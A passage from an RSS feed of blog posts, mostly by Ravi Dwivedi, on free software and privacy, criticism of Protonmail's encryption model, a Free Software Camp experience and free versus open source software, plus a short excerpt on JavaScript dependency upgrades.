<p>A software which lacks any of these freedoms is called nonfree/proprietary software. Most of the well-known <a href="https://gnu.org/malware">proprietary software are malware</a>.</p>
<p>If we do not have the source code of the software, we cannot inspect it for whether it has malicious functionalities. In particular, we cannot inspect whether the software has spyware or not. Even if we get the source code, we cannot remove the spyware unless we can modify it. In view of this note, freedom 1 is a precondition to user privacy.</p>
<p>If users cannot share the software, then they need to inspect the software themselves to know whether software has some spying functionality or not. Sharing the software allows us to give a copy of software to someone who can inspect. For example, nonprogrammers can share a copy of the software with someone to get the software inspected for malicious functionalities, maybe, in exchange for a fee. When we don&rsquo;t know how to repair a fan, bicycle or a car and we give it to a mechanic who repairs for us. Similar is the case for software.</p>
<p>Let&rsquo;s say someone removed a spyware from a software, then they can share their modifications with others if Freedom 3 is granted. If Freedom 3 is not granted, then everyone need to modify themselves which is a lot of redundant work.</p>
<p>These freedoms give users collective control over the software. The collective control is necessary for users to get privacy. A nonfree software cannot be trusted for privacy. Please note that Free Software might not be sufficient for privacy. It is a precondition for privacy.</p>
<p>For example, Ubuntu operating system is a Free Software and <a href="https://www.gnu.org/philosophy/ubuntu-spyware.en.html">it contained spyware in older versions</a>. With Free Software, users have a defence to remove those malfunctionalities. With proprietary software, there is no such chance.</p>
<p>Another factor is decentralization. What I mean by decentralization is that network-based services allow self-hosting and <a href="https://ravidwivedi.in/glossary/#federated-services">federation</a>. Please <a href="https://fsci.in/blog/self-hosting-and-federation/">read this article</a> by FSCI for details on how decentralization in combination with Free Software and end-to-end encryption can give you privacy.</p>
<p>I will summarize the article for you here. Basically, when we use software installed in someone else&rsquo;s computers(called servers), like Google Docs, we lose control over our computing. This is because all communications, say, in case of Google Docs will go via Google&rsquo;s servers. Since, we are using Google&rsquo;s computers for our computing they can log our activities and put us in surveillance. If the server is in our control or a trusted one, then this is not a problem but services like Google Docs does not allow users to deploy it on their own server(even if it would it would not be advisable due to Google Docs being nonfree software). So we need the freedom to self-host, which means freedom to run our own servers. This does not mean we have to run our own server. Granting users the freedom to self-host gives rise to many service providers. Then we can choose one which we trust, or pay someone to deploy our server.</p>
<p>Federation means two users using different service providers can communicate. This is required, otherwise when we switch the service provider, we need to make effort to switch every contact to a new service provider. Federation allows us to switch service provider without other contacts switching the provider.</p>
<p>Example of free software powered federated systems are Matrix, XMPP, Mastodon. Searx search engine is an example where self-hosting is allowed but the concept of federation does not apply.</p>
<p>To illustrate, we take an example of Matrix chat system. A user registered on service provider 1 can contact with users on service provider 2 on Matrix. All messages are end-to-end encrypted. And since the servers are under user&rsquo;s control, they can control the policies and what data is being collected.</p>
<p>The conclusion is: Free Software and decentralization are necessary for privacy. Proprietary Software and centralized services cannot be trusted for privacy.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[The Javascript "ecosystem" is a hot mess and so is software development in general]]></title>
            <link>https://nadh.in/blog/javascript-ecosystem-software-development-are-a-hot-mess/</link>
            <guid isPermaLink="false">https://nadh.in/blog/javascript-ecosystem-software-development-are-a-hot-mess/</guid>
            <pubDate>Sat, 16 Oct 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[I have a small Vue 2 project (an admin UI for dictmaker) that I created with vue cli six months ago. Today, I picked it up again to finish it, and started out by doing a yarn upgrade. Of course, blindly upgrading all dependencies is never a good idea, but this is a tiny WIP project with just one dependency that I added, and there is a constant stream of GitHub dependabot alerts every month forcing me to upgrade some dependency or another, so what is the worst that could happen? At least that is what I thought.]]></description>
            <content:encoded><![CDATA[<p>I have a small Vue 2 project (an <a href="https://github.com/knadh/dictmaker/issues/14">admin UI</a> for dictmaker) that I created with <code>vue cli</code> six months ago. Today, I picked it up again to finish it, and started out by doing a <code>yarn upgrade</code>. Of course, blindly upgrading all dependencies is never a good idea, but this is a tiny WIP project with just one dependency that I added, and there is a constant stream of GitHub dependabot alerts every month forcing me to upgrade some dependency or another, so what is the worst that could happen? At least that is what I thought.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Problems with Protonmail]]></title>
            <link>https://ravidwivedi.in/posts/problems-with-protonmail/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/problems-with-protonmail/</guid>
            <pubDate>Wed, 29 Sep 2021 20:36:19 GMT</pubDate>
            <description><![CDATA[Protonmail claims to automatically send end-to-end encrypted messages between all the Protonmail users. They claim that they do not have access to user’s private keys (Someone having access to your private keys can decrypt and read all your encrypted messages), by encrypting the user’s private keys with the hash generated by user’s password (which is known only to the user). The problem with this is: how do we know that Protonmail does not keep a copy of user’s private keys with themselves before encrypting it with user’s password hash? Also, we cannot really inspect the web application we use in the browser because it is not installed in our own devices, we are using it from Protonmail’s computers.
There is no need to trust server for email encryption. Email encryption can be done within the app. This method encrypts mails within the app before sending it to the server. Here is a guide to encrypt mails using pEp app. pEp encrypts mails very easily. You just have to send one mail to a pEp user to exchange keys and after that, all emails will be encrypted by default. Email encryption used to be hard to use, but it is no longer the case. pEp project has made email encryption (it uses OpenPGP) easier so that nontechnical people also have access to email encryption.
This is the main problem with Protonmail. When it comes to encrypting emails, there is no inherent need for the user to trust the server side for encryption, yet their whole model of encryption lies in trusting the server side. We cannot inspect their server side. We cannot inspect what they run or how they implement all this in their own computers. You can, however, inspect the app running in your own device if the app is free software.
Conclusion: Email encryption does not require user to trust the service provider. Users can encrypt emails in their device before sending the mail. Protonmail is making their users trust the server side for email encryption without any need for that. I advice against using emails from such email providers and instead use email providers which allow you to use independent app like pEp, Thunderbird, K9 Mail, so that you can encrypt emails before sending it to the server.]]></description>
            <content:encoded><![CDATA[<p><a href="https://protonmail.com/">Protonmail</a> claims to automatically send <a href="https://ravidwivedi.in/glossary/#end-to-end-encryption">end-to-end encrypted</a> messages between all the Protonmail users. They claim that they <a href="https://protonmail.com/support/knowledge-base/how-is-the-private-key-stored/">do not have access to user&rsquo;s private keys</a> (Someone having access to your private keys can decrypt and read all your encrypted messages), by encrypting the user&rsquo;s private keys with the hash generated by user&rsquo;s password (which is known only to the user). The problem with this is: how do we know that Protonmail does not keep a copy of user&rsquo;s private keys with themselves before encrypting it with user&rsquo;s password hash? Also, we cannot really inspect the web application we use in the browser because it is not installed in our own devices, we are using it from Protonmail&rsquo;s computers.</p>
<p>There is no need to trust server for email encryption. Email encryption can be done within the app. This method encrypts mails within the app before sending it to the server. <a href="https://fsci.in/blog/pep-guide/">Here is a guide to encrypt mails</a> using pEp app. pEp encrypts mails very easily. You just have to send one mail to a pEp user to exchange keys and after that, all emails will be encrypted by default. Email encryption used to be hard to use, but it is no longer the case. <a href="https://pep.security">pEp project</a> has made email encryption (it uses OpenPGP) easier so that nontechnical people also have access to email encryption.</p>
<p>This is the main problem with Protonmail. When it comes to encrypting emails, there is no inherent need for the user to trust the server side for encryption, yet their whole model of encryption lies in trusting the server side. We cannot inspect their server side. We cannot inspect what they run or how they implement all this in their own computers. You can, however, inspect the app running in your own device if the app is <a href="https://ravidwivedi.in/posts/free-sw">free software</a>.</p>
<p><strong>Conclusion: Email encryption does not require user to trust the service provider. Users can encrypt emails in their device before sending the mail. Protonmail is making their users trust the server side for email encryption without any need for that. I advice against using emails from such email providers and instead use email providers which allow you to use independent app like pEp, Thunderbird, K9 Mail, so that you can encrypt emails before sending it to the server.</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Story of creation of this website]]></title>
            <link>https://ravidwivedi.in/posts/story-of-this-website/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/story-of-this-website/</guid>
            <pubDate>Tue, 28 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[This is the story of creation of the website you are reading and how it was created.
I always wanted to create a website from as far as I can remember. This is because I wanted autnonomy over the content that I can post. Social media posting format is not suitable for website like this. Also the website has a cool domain on my name which feels really good.
In the Software Freedom Camp 2020, I met Sahil and Arun. Sahil already had a website, while Arun purchased a domain name around that time. I got inspired from Arun and bought this domain from gandi.net in October 2020.
Then I took the project in Free Software Camp 2020 to learn Hugo. Didn’t learn much from there as I didn’t put a lot of time and effort into it.
After the domain purchase, the website wasn’t up for 9 months. Finally, in July 2021, Sahil helped me set up this website. And after tinkering with the website, I learnt enough Hugo and git to maintain the website. And here I am, writing the story of the website.]]></description>
            <content:encoded><![CDATA[<p>This is the story of creation of the website you are reading and how it was created.</p>
<p>I always wanted to create a website from as far as I can remember. This is because I wanted autnonomy over the content that I can post. Social media posting format is not suitable for website like this. Also the website has a cool domain on my name which feels really good.</p>
<p>In the Software Freedom Camp 2020, I met <a href="https://sahilister.in">Sahil</a> and <a href="https://arunmathaisk.in">Arun</a>. Sahil already had a website, while Arun purchased a domain name around that time. I got inspired from Arun and bought this domain from gandi.net in October 2020.</p>
<p>Then I took the project in Free Software Camp 2020 to learn Hugo. Didn&rsquo;t learn much from there as I didn&rsquo;t put a lot of time and effort into it.</p>
<p>After the domain purchase, the website wasn&rsquo;t up for 9 months. Finally, in July 2021, Sahil helped me set up this website. And after tinkering with the website, I learnt enough Hugo and git to maintain the website. And here I am, writing the story of the website.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[My experience as a learner in Free Software Camp 2020]]></title>
            <link>https://ravidwivedi.in/posts/fscamp-2020-as-learner/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fscamp-2020-as-learner/</guid>
            <pubDate>Mon, 27 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Index
Introduction
What is Free Software Camp
Motivation to join the camp
How I came to know about the camp
Experience as a learner in the camp
Aftermath
Word for learners of the upcoming camps
Introduction
I participated as a learner in Free Software Camp 2020 organized by FSCI and FSF India. This is a post about my experience of the same. If you don’t know what free software is, then you can read my article on the same.
I have never attended any software-related camp other than this one and therefore I have no idea what other camps are about and so I cannot compare this camp with any other camp of technical nature or one which involves introducing free software philosophy to the participants. Since the camp concluded a long before I am writing this post, there is a chance I forgot a lot of things about it or my feelings/opinions of many things at that time.
What is Free Software Camp
This is my takeaway for what free software camp means. I think that the camp had two goals:
To acquaint the participants with free software philosophy.
To connect the learners with mentors and contribute to free software projects. These contributions don’t have to be technical in nature but they must contribute to free software in some way.
The camp was divided into the following phases:
Ice breaking sessions.
Introduce the learners with free software philosophy.
GNU/Linux Installation phase.
A phase where we get to meet people who earn their living from free software.
Projects phase.
Motivation to join the camp
I was already introduced to free software philosophy and started caring about the idea in 2020. The main thing I was looking at the time around September 2020 was: How does free software actually work in reality? I was not aware of communities that power free software. Curiosity to know how free software works was one motivation to join the camp.
Also, before the start of the camp, I already started shifting to free software but I needed help on: 1. Which software do people from free software community use? ; 2. To try and test these software.
For example, I came to know about BigBlueButton from the camp. It is a videoconferencing software which respects freedom and allows self-hosting.
Another motivation was to meet with like-minded people because usually people don’t get excited about free software and therefore, one can get demotivated.
To sum up, my motivations were:
To understand how free software communities work.
To know what software free software proponents use.
To meet like-minded people.
My motive was not really learning anything technical.
How I came to know about the camp
The camp was announced in mid September 2020. And a few days ago, I filled the volunteer form for FSF India. Due to that group’s announcement, I came to know about the camp.
Experience as a learner in the camp
I registered for the camp and started joining the sessions when the camp commenced. In the first stage, the learners were divided into small groups based on their language preference. I was added to Group 6 which was a Hindi group and Sruthi was assigned to our group from the organizing team as a co-ordinator(Sorry I cannot find a word for this).
I mixed up well with this group. We used to have regular meetings and shared what we think about various issues. People used to feel autonomous in sharing their thoughts. And we also helped each other in various things, for example, I helped people in setting up their gpg keys and taught how to send encrypted emails. So, it can be said that Group 6 ice-breaking session really broke the ice or maybe the ice was not even there to begin with. Groups were also given an activity to present on a topic assigned by the organizers. Our group decided to have an audio presentation on the topic. The topic was something related to democracy and digital rights(how surveillance, censorship etc. affects democracy). We all rehearsed it many times, suggested each other of points and finally completed the recording and submitted it for the presentation in a camp session. I found that overall, be it my group, other learners, organizers, or mentors, people were very helpful, kind and inclusive.
This ended our ice-breaking sessions.
Next was GNU/Linux installation phase. I used to have Macbook at that time. I could boot GNU/Linux in my Macbook but the touchpad didn’t work. So that was a bit sad. I badly wanted to run a GNU/Linux distro on my Macbook. Maybe external mouse would have worked. But I didn’t try that. Therefore, I proceeded in the camp with MacOS installed.
Next was the phase where we met people who earn their living from free software. I attended sessions by Abhas and Nagarjuna. They were good and gave me some insights. Abhas has a way of making sessions interactive which I would like to do in my own sessions(not only in camp but anywhere). Nagarjuna raised issues about copyright mainly and was very interactive, which I really liked. He was in no hurry but asked questions from us and patiently waited for our responses and cleared doubts.
Now came the projects phase. Initially, I was not excited to do any technical project. So I thought of choosing a non-technical project. I ended up choosing a technical one because I wanted to learn how to create website so that I can create my own wesbite. I chose the project offered by Karthik to learn Hugo Static Site Generator to create websites. The project was to create and maintain Privacy Yathra website. I took the project as a long-term work rather than just set up the website as a part of the camp and run away.
I didn’t work a lot on the project and I could not learn Hugo within the deadline set by the camp. But later on, I set up this website you are reading, with the help of Sahil. From there on, I learnt from different people about different things about creating and maintaing the website. The Privacy Yathra website(which was the project of the camp) is not yet created but as now I know how to work with Hugo and git(actually I still don’t know much), I would one day be up. Keep looking for Privacy yathra website, folks :) It can be up anytime.
Shout out to all the people who made this work so smoothly. Especially organizers were always available for any help I needed and were very welcoming.
Aftermath
After the conclusion of the camp, I am integrated with FSCI as a campaigner. As mentioned above, I set up my website after the camp. Also, I am a part of the organizing team of the succeeding camp named “Software Freedom Camp Diversity Edition 2021” organized by FSCI. This year(2021) we are looking for diversity. We are focusing on reaching out to groups underrepresented in the free software community.  Registrations for learners are open till 15th October. Please register if you are interested and from an underprivileged backgroud. Please help us raise awareness about the camp so that we can reach the needy. You can share the camp poster on social media(even on Twitter, Facebook, Instagram, if you use them anyway, then why not?), with your contacts in chat, emails etc.
Word for learners of the upcoming camps
If you are participating as a learner in any of the editions of the camp, then I have some advice for you. Hopefully, the above text gave you some idea on what happens in the camp. I think the best way to contribute to the camp is to contribute to free software. You might be surprised that the best way to contribute to free software is not about adding code or features to free software, although they are very good contributions. I think it is not a good idea to improve the code of some free software or work on a free software project for a few months and then forget about free software. I would suggest you to understand what free software philosophy is, why free software is important, use free software in your own lives for your own work and the hardest part, try to convince others to use free software and avoid proprietary software. If you are committed to free software philosophy, you will develop free software and contribute to free software as a side effect. If you are not committed to free software philosophy, then you will only contribute code to free software as a part of the camp and then forget about it. Take it as a lifetime project to contribute to free software to switch to free software and writing code to develop or improve the free software. Also, avoid proprietary software.]]></description>
            <content:encoded><![CDATA[<h3 id="index">Index</h3>
<ul>
<li>
<p><a href="#introduction">Introduction</a></p>
</li>
<li>
<p><a href="#what-is-free-software-camp">What is Free Software Camp</a></p>
</li>
<li>
<p><a href="#motivation-to-join-the-camp">Motivation to join the camp</a></p>
</li>
<li>
<p><a href="#how-i-came-to-know-about-the-camp">How I came to know about the camp</a></p>
</li>
<li>
<p><a href="#experience-as-a-learner-in-the-camp">Experience as a learner in the camp</a></p>
</li>
<li>
<p><a href="#aftermath">Aftermath</a></p>
</li>
<li>
<p><a href="#word-for-learners-of-the-upcoming-camps">Word for learners of the upcoming camps</a></p>
</li>
</ul>
<h3 id="introduction">Introduction</h3>
<p>I participated as a learner in <a href="https://camp.fsf.org.in">Free Software Camp 2020</a> organized by <a href="https://fsci.in">FSCI</a> and <a href="https://fsf.org.in">FSF India</a>. This is a post about my experience of the same. If you don&rsquo;t know what free software is, then you can <a href="https://ravidwivedi.in/posts/free-software-explained-simply">read my article on the same</a>.
I have never attended any software-related camp other than this one and therefore I have no idea what other camps are about and so I cannot compare this camp with any other camp of technical nature or one which involves introducing free software philosophy to the participants. Since the camp concluded a long before I am writing this post, there is a chance I forgot a lot of things about it or my feelings/opinions of many things at that time.</p>
<h3 id="what-is-free-software-camp">What is Free Software Camp</h3>
<p>This is my takeaway for what free software camp means. I think that the camp had two goals:</p>
<ul>
<li>
<p>To acquaint the participants with <a href="https://www.gnu.org/philosophy/free-software-even-more-important.html">free software philosophy</a>.</p>
</li>
<li>
<p>To connect the learners with mentors and contribute to free software projects. These contributions don&rsquo;t have to be technical in nature but they must contribute to free software in some way.</p>
</li>
</ul>
<p>The camp was divided into the following phases:</p>
<ul>
<li>
<p>Ice breaking sessions.</p>
</li>
<li>
<p>Introduce the learners with free software philosophy.</p>
</li>
<li>
<p>GNU/Linux Installation phase.</p>
</li>
<li>
<p>A phase where we get to meet people who earn their living from free software.</p>
</li>
<li>
<p>Projects phase.</p>
</li>
</ul>
<h3 id="motivation-to-join-the-camp">Motivation to join the camp</h3>
<p>I was <a href="https://ravidwivedi.in/posts/meeting-rms/">already introduced to free software philosophy</a> and started caring about the idea in 2020. The main thing I was looking at the time around September 2020 was: How does free software actually work in reality? I was not aware of communities that power free software. Curiosity to know how free software works was one motivation to join the camp.</p>
<p>Also, before the start of the camp, I already started shifting to free software but I needed help on: 1. Which software do people from free software community use? ; 2. To try and test these software.</p>
<p>For example, I came to know about BigBlueButton from the camp. It is a videoconferencing software which respects freedom and allows self-hosting.</p>
<p>Another motivation was to meet with like-minded people because usually people don&rsquo;t get excited about free software and therefore, one can get demotivated.</p>
<p>To sum up, my motivations were:</p>
<ul>
<li>
<p>To understand how free software communities work.</p>
</li>
<li>
<p>To know what software free software proponents use.</p>
</li>
<li>
<p>To meet like-minded people.</p>
</li>
</ul>
<p>My motive was not really learning anything technical.</p>
<h3 id="how-i-came-to-know-about-the-camp">How I came to know about the camp</h3>
<p>The camp was announced in mid September 2020. And a few days ago, I filled the volunteer form for FSF India. Due to that group&rsquo;s announcement, I came to know about the camp.</p>
<h3 id="experience-as-a-learner-in-the-camp">Experience as a learner in the camp</h3>
<p>I registered for the camp and started joining the sessions when the camp commenced. In the first stage, the learners were divided into small groups based on their language preference. I was added to Group 6 which was a Hindi group and Sruthi was assigned to our group from the organizing team as a co-ordinator(Sorry I cannot find a word for this).</p>
<p>I mixed up well with this group. We used to have regular meetings and shared what we think about various issues. People used to feel autonomous in sharing their thoughts. And we also helped each other in various things, for example, I helped people in setting up their gpg keys and taught how to send encrypted emails. So, it can be said that Group 6 ice-breaking session really broke the ice or maybe the ice was not even there to begin with. Groups were also given an activity to present on a topic assigned by the organizers. Our group decided to have an audio presentation on the topic. The topic was something related to democracy and digital rights(how surveillance, censorship etc. affects democracy). We all rehearsed it many times, suggested each other of points and finally completed the recording and submitted it for the presentation in a camp session. I found that overall, be it my group, other learners, organizers, or mentors, people were very helpful, kind and inclusive.
This ended our ice-breaking sessions.</p>
<p>Next was GNU/Linux installation phase. I used to have Macbook at that time. I could boot GNU/Linux in my Macbook but the touchpad didn&rsquo;t work. So that was a bit sad. I badly wanted to run a GNU/Linux distro on my Macbook. Maybe external mouse would have worked. But I didn&rsquo;t try that. Therefore, I proceeded in the camp with MacOS installed.</p>
<p>Next was the phase where we <a href="https://videos.fsci.in/videos/watch/cca5981d-8513-4448-8cb6-195f2c9db648">met people who earn their living from free software</a>. I <a href="https://videos.fsci.in/videos/watch/75deb449-9a12-4c45-8ec3-a6990d14f675">attended sessions by Abhas</a> and <a href="https://videos.fsci.in/videos/watch/9f98c928-2158-4ebf-b526-186bc1817b56">Nagarjuna</a>. They were good and gave me some insights. Abhas has a way of making sessions interactive which I would like to do in my own sessions(not only in camp but anywhere). Nagarjuna raised issues about copyright mainly and was very interactive, which I really liked. He was in no hurry but asked questions from us and patiently waited for our responses and cleared doubts.</p>
<p>Now came the projects phase. Initially, I was not excited to do any technical project. So I thought of choosing a non-technical project. I ended up choosing a technical one because I wanted to learn how to create website so that I can create my own wesbite. I chose the project offered by <a href="https://kskarthik.gitlab.io">Karthik</a> to learn Hugo Static Site Generator to create websites. The project was to create and maintain Privacy Yathra website. I took the project as a long-term work rather than just set up the website as a part of the camp and run away.</p>
<p>I didn&rsquo;t work a lot on the project and I could not learn Hugo within the deadline set by the camp. But later on, I set up this website you are reading, with the help of <a href="https://sahilister.in">Sahil</a>. From there on, I learnt from different people about different things about creating and maintaing the website. The Privacy Yathra website(which was the project of the camp) is not yet created but as now I know how to work with Hugo and git(actually I still don&rsquo;t know much), I would one day be up. Keep looking for Privacy yathra website, folks :) It can be up anytime.</p>
<p>Shout out to all the people who made this work so smoothly. Especially organizers were always available for any help I needed and were very welcoming.</p>
<h3 id="aftermath">Aftermath</h3>
<p>After the conclusion of the camp, I am integrated with FSCI as a campaigner. As mentioned above, I set up my website after the camp. Also, I am a part of the organizing team of the succeeding camp named &ldquo;<a href="https://camp.fsci.in">Software Freedom Camp Diversity Edition 2021</a>&rdquo; organized by <a href="https://fsci.in">FSCI</a>. This year(2021) we are looking for diversity. We are focusing on reaching out to groups underrepresented in the free software community.  Registrations for learners are open till 15th October. Please <a href="https://camp.fsci.in">register</a> if you are interested and from an underprivileged backgroud. Please help us raise awareness about the camp so that we can reach the needy. You can <a href="https://cdn.masto.host/floss/media_attachments/files/106/982/355/338/001/276/original/0414e3a24fca6cea.png">share the camp poster</a> on social media(even on Twitter, Facebook, Instagram, if you use them anyway, then why not?), with your contacts in chat, emails etc.</p>
<h3 id="word-for-learners-of-the-upcoming-camps">Word for learners of the upcoming camps</h3>
<p>If you are participating as a learner in any of the editions of the camp, then I have some advice for you. Hopefully, the above text gave you some idea on what happens in the camp. I think the best way to contribute to the camp is to contribute to free software. You might be surprised that the best way to contribute to free software is not about adding code or features to free software, although they are very good contributions. I think it is not a good idea to improve the code of some free software or work on a free software project for a few months and then forget about free software. I would suggest you to understand what free software philosophy is, why free software is important, use free software in your own lives for your own work and the hardest part, try to convince others to use free software and avoid proprietary software. If you are committed to free software philosophy, you will develop free software and contribute to free software as a side effect. If you are not committed to free software philosophy, then you will only contribute code to free software as a part of the camp and then forget about it. Take it as a lifetime project to contribute to free software to switch to free software and writing code to develop or improve the free software. Also, avoid proprietary software.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Are Free Software and Open Source Software the Same Thing?]]></title>
            <link>https://ravidwivedi.in/posts/fs-and-oss-same/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/fs-and-oss-same/</guid>
            <pubDate>Fri, 24 Sep 2021 22:10:00 GMT</pubDate>
            <description><![CDATA[Have you ever wondered what the difference is between the terms “free software” and “open-source software?” Perhaps, you think they are the same. It is often misunderstood that “free” refers to free of cost. The term “FOSS” is also very common. It expands to Free and Open Source Software. In addition, I have heard people say that since the software is open source and available free of cost, therefore it is denoted by the term FOSS. In this post, I’ll illustrate the difference between the two terms.
Free Software refers to software which respects users freedom to run, study, modify, share and share the modified versions of the software. For example, VLC media player, Firefox browser, and Emacs. “Free” in Free Software refers to liberty, not price. The software I just mentioned also qualify as Open Source. The definition of Open Source can be read on the opensource.org website by visiting this link. Since it is a bit too long, I didn’t include it here.
Practically speaking, the terms “free software” and “open source software” refer to the same class of software. However, the main difference between the two terms lies not in the actual software, but the values behind the respective movements. Free Software movement campaigns for users’ freedom and that users must control the software running in their own devices. On the other hand, Open Source movement does not put the issue in ethical terms like users’ freedoms or rights, but more of like a practical choice.
The term “free software” existed since 1984, while the term “open source” came into existence in 1998. Let’s look at why this new term was introduced even though the term “free software” was already there.
Quoting Open Source Initiative on coining the term open source,
The “open source” label was created at a strategy session held on February 3rd, 1998 in Palo Alto, California, shortly after the announcement of the release of the Netscape source code. The strategy session grew from a realization that the attention around the Netscape announcement had created an opportunity to educate and advocate for the superiority of an open development process. The conferees believed the pragmatic, business-case grounds that had motivated Netscape to release their code illustrated a valuable way to engage with potential software users and developers, and convince them to create and improve source code by participating in an engaged community. The conferees also believed that it would be useful to have a single label that identified this approach and distinguished it from the philosophically- and politically-focused label “free software.” Brainstorming for this new label eventually converged on the term “open source”, originally suggested by Christine Peterson.
It is apparent from the above-mentioned quote that the term “Open Source” was coined as a way to market the same idea represented by the term “Free Software” in a way detached from philosophical or moral considerations. It was promoted as a superior model of software development, not as a matter of user rights or freedom.
My friend and fellow Free Software activist Praveen has put this difference into a nice quote, which is very relevant to distinguish the two:
Open Source wants to create better software, Free Software wants to create a better society.
Quoting Richard Stallman from his famous article on the difference and the dangers that the approach open source movement has in avoiding the ethics part:
When open source proponents talk about anything deeper than that, it is usually the idea of making a “gift” of source code to humanity. Presenting this as a special good deed, beyond what is morally required, presumes that distributing proprietary software without source code is morally legitimate.
This approach has proved effective, in its own terms. The rhetoric of open source has convinced many businesses and individuals to use, and even develop, free software, which has extended our community—but only at the superficial, practical level. The philosophy of open source, with its purely practical values, impedes understanding of the deeper ideas of free software; it brings many people into our community, but does not teach them to defend it. That is good, as far as it goes, but it is not enough to make freedom secure. Attracting users to free software takes them just part of the way to becoming defenders of their own freedom.
Sooner or later these users will be invited to switch back to proprietary software for some practical advantage. Countless companies seek to offer such temptation, some even offering copies gratis. Why would users decline? Only if they have learned to value the freedom free software gives them, to value freedom in and of itself rather than the technical and practical convenience of specific free software. To spread this idea, we have to talk about freedom. A certain amount of the “keep quiet” approach to business can be useful for the community, but it is dangerous if it becomes so common that the love of freedom comes to seem like an eccentricity.
The difference between the two movements is best illustrated by an incident in which TiVo - a video recorder - used a software which was free/open-source and gave users legal right to modify it, but the hardware won’t allow users to run their modified versions. This restriction was fine for Open Source proponents like Linus Torvalds, but Free Software proponents like Stallman opposed such restrictions. A new version of GNU General Public License was written by the Free Software Foundation to address this issue. For more details on this, I would suggest you to read this page on the GNU website. Moreover, you can read the Wikipedia page too by clicking here.
Personally, I use the term “Free Software” and not “Open Source” due to my opposition against proprietary software. Furthermore, I agree with the ethical values associated with the term “Free Software”. Using this term helps me spread awareness about the difference and propagate the ethical values.
Feel free to use the term you prefer, but it is important to understand what the term means.]]></description>
            <content:encoded><![CDATA[<p>Have you ever wondered what the difference is between the terms &ldquo;free software&rdquo; and &ldquo;open-source software?&rdquo; Perhaps, you think they are the same. It is often misunderstood that &ldquo;free&rdquo; refers to free of cost. The term &ldquo;FOSS&rdquo; is also very common. It expands to Free and Open Source Software. In addition, I have heard people say that since the software is open source and available free of cost, therefore it is denoted by the term FOSS. In this post, I&rsquo;ll illustrate the difference between the two terms.</p>
<p>Free Software refers to software which respects users freedom to run, study, modify, share and share the modified versions of the software. For example, VLC media player, Firefox browser, and Emacs. &ldquo;Free&rdquo; in Free Software refers to liberty, not price. The software I just mentioned also qualify as Open Source. The definition of Open Source can be read on the opensource.org website <a href="https://opensource.org/osd">by visiting this link</a>. Since it is a bit too long, I didn&rsquo;t include it here.</p>
<p>Practically speaking, the terms &ldquo;free software&rdquo; and &ldquo;open source software&rdquo; refer to the same class of software. However, the main difference between the two terms lies not in the actual software, but the values behind the respective movements. Free Software movement campaigns for users&rsquo; freedom and that users must control the software running in their own devices. On the other hand, Open Source movement does not put the issue in ethical terms like users&rsquo; freedoms or rights, but more of like a practical choice.</p>
<p>The term &ldquo;free software&rdquo; existed since 1984, while the term &ldquo;open source&rdquo; came into existence in 1998. Let&rsquo;s look at why this new term was introduced even though the term &ldquo;free software&rdquo; was already there.</p>
<p><a href="https://opensource.org/history">Quoting Open Source Initiative on coining the term open source</a>,</p>
<blockquote>
<p>The “open source” label was created at a strategy session held on February 3rd, 1998 in Palo Alto, California, shortly after the announcement of the release of the Netscape source code. The strategy session grew from a realization that the attention around the Netscape announcement had created an opportunity to educate and advocate for the superiority of an open development process. The conferees believed the pragmatic, business-case grounds that had motivated Netscape to release their code illustrated a valuable way to engage with potential software users and developers, and convince them to create and improve source code by participating in an engaged community. The conferees also believed that it would be useful to have a single label that identified this approach and distinguished it from the philosophically- and politically-focused label &ldquo;free software.&rdquo; Brainstorming for this new label eventually converged on the term &ldquo;open source&rdquo;, originally suggested by Christine Peterson.</p>
</blockquote>
<p>It is apparent from the above-mentioned quote that the term &ldquo;Open Source&rdquo; was coined as a way to market the same idea represented by the term &ldquo;Free Software&rdquo; in a way detached from philosophical or moral considerations. It was promoted as a superior model of software development, not as a matter of user rights or freedom.</p>
<p>My friend and fellow Free Software activist Praveen has put this difference into a nice quote, which is very relevant to distinguish the two:</p>
<blockquote>
<p>Open Source wants to create better software, Free Software wants to create a better society.</p>
</blockquote>
<p>Quoting Richard Stallman from his <a href="https://www.gnu.org/philosophy/open-source-misses-the-point.html">famous article</a> on the difference and the dangers that the approach open source movement has in avoiding the ethics part:</p>
<blockquote>
<p>When open source proponents talk about anything deeper than that, it is usually the idea of making a “gift” of source code to humanity. Presenting this as a special good deed, beyond what is morally required, presumes that distributing proprietary software without source code is morally legitimate.</p>
</blockquote>
<blockquote>
<p>This approach has proved effective, in its own terms. The rhetoric of open source has convinced many businesses and individuals to use, and even develop, free software, which has extended our community—but only at the superficial, practical level. The philosophy of open source, with its purely practical values, impedes understanding of the deeper ideas of free software; it brings many people into our community, but does not teach them to defend it. That is good, as far as it goes, but it is not enough to make freedom secure. Attracting users to free software takes them just part of the way to becoming defenders of their own freedom.</p>
</blockquote>
<blockquote>
<p>Sooner or later these users will be invited to switch back to proprietary software for some practical advantage. Countless companies seek to offer such temptation, some even offering copies gratis. Why would users decline? Only if they have learned to value the freedom free software gives them, to value freedom in and of itself rather than the technical and practical convenience of specific free software. To spread this idea, we have to talk about freedom. A certain amount of the “keep quiet” approach to business can be useful for the community, but it is dangerous if it becomes so common that the love of freedom comes to seem like an eccentricity.</p>
</blockquote>
